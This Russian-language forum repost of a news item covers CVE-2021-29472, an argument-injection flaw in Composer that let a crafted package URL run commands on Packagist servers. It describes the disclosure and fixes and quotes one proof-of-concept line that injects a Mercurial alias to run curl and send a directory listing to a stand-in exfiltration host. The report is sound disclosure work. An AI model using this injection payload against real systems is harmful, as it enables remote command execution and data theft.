Уязвимость в пакетном менеджере Composer, допускающая компрометацию PHP-репозитория Packagist

Автор Сообщение
news_bot ®

Стаж: 6 лет 9 месяцев
Сообщений: 27286

Создавать темы news_bot ® написал(а)
03-Май-2021 12:30

В менеджере зависимостей Composer выявлена критическая уязвимость (CVE-2021-29472), позволяющая выполнить произвольные команды в системе при обработке пакета со специально оформленным значением URL, определяющим адрес для загрузки исходных текстов. Проблема проявляется в компонентах GitDriver, SvnDriver и HgDriver, применяемых при использовании систем управления исходными текстами Git, Subversion и Mercurial. Уязвимость устранена в выпусках Composer 1.10.22 и 2.0.13.
Особо отмечается, что проблема главным образом затронула по умолчанию применяемый в Composer репозиторий пакетов Packagist, насчитывающий 306 тысяч пакетов для разработчиков на языке PHP и ежемесячно обслуживающий более 1.4 миллиарда загрузок. В ходе эксперимента показано, что в случае наличия сведений о проблеме атакующие могли бы получить контроль над инфраструктурой Packagist и перехватить учётные данные сопровождающих или перенаправить загрузку пакетов на сторонний сервер, организовав доставку вариантов пакетов с вредоносными изменениями для подстановки бэкдора в процессе установки зависимостей.
Опасность для конечных пользователей ограничивается тем, что содержимое composer.json обычно определяется самим пользователем, а ссылки на исходные тексты передаются при обращении к сторонним репозиториям, обычно заслуживающим доверия. Основной удар пришёлся на репозиторий Packagist.org и сервис Private Packagist, вызывающие Composer с передачей данных, полученных от пользователей. Злоумышленники могли выполнить свой код на серверах Packagist разместив специально оформленный пакет.
Команда Packagist устранила уязвимость в течение 12 часов после поступления сообщения об уязвимости. Исследователи в частном порядке уведомили разработчиков Packagist 22 апреля и в тот же день проблема была исправлена. Публичное обновление Composer с устранение уязвимости было опубликовано 27 апреля, а детали были раскрыты 28 апреля. Аудит логов на серверах Packagist не выявил связанной с уязвимостью подозрительной активности.
Проблема вызвана ошибкой в коде проверки корректности URL в корневом файле composer.json и ссылках для загрузки исходных текстов. Ошибка присутствует в коде с ноября 2011 года. В Packagist для организации загрузки кода без привязки к конкретной системе управления исходными текстами применяются специальные прослойки, которые выполняются при помощи вызова "fromShellCommandline" с передачей аргументов командной строки. Например, для git вызывается команда "git ls-remote --heads $URL", где URL обработан при помощи метода "ProcessExecutor::escape($url)", экранирующего потенциально опасные конструкции, такие как "$(...)" или "`...`".
Суть проблемы в том, что метод ProcessExecutor::escape не экранировал последовательность "--", что позволяло указать в URL любой дополнительный параметр вызова. Подобное экранирование отсутствовало в драйверах GitDriver.php, SvnDriver.php и HgDriver.php. Атаке через GitDriver.php мешало то, что команда "git ls-remote" не поддерживала указание дополнительных аргументов после пути. Возможной оказалась атака на HgDriver.php через передачу параметра "--config" утилите "hq", позволяющего организовать выполнение любой команды через манипуляцию с настройкой "alias.identify". Например, для загрузки и выполнения кода через запуск утилиты curl можно было указать:
--config=alias.identify=!curl http://exfiltration-host.tld --data “$(ls -alh)”
Разместив в Packagist тестовый пакет с подобным URL, исследователи убедились, что после размещения на их сервер поступил HTTP-запрос с одного из серверов Packagist в AWS, содержащий листинг файлов в текущем каталоге.
===========
Источник:
OpenNet.RU
===========

Похожие новости: Теги для поиска: #_composer, #_packagist
Профиль  ЛС 
Показать сообщения:     

Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы

Текущее время: 22-Ноя 20:49
Часовой пояс: UTC + 5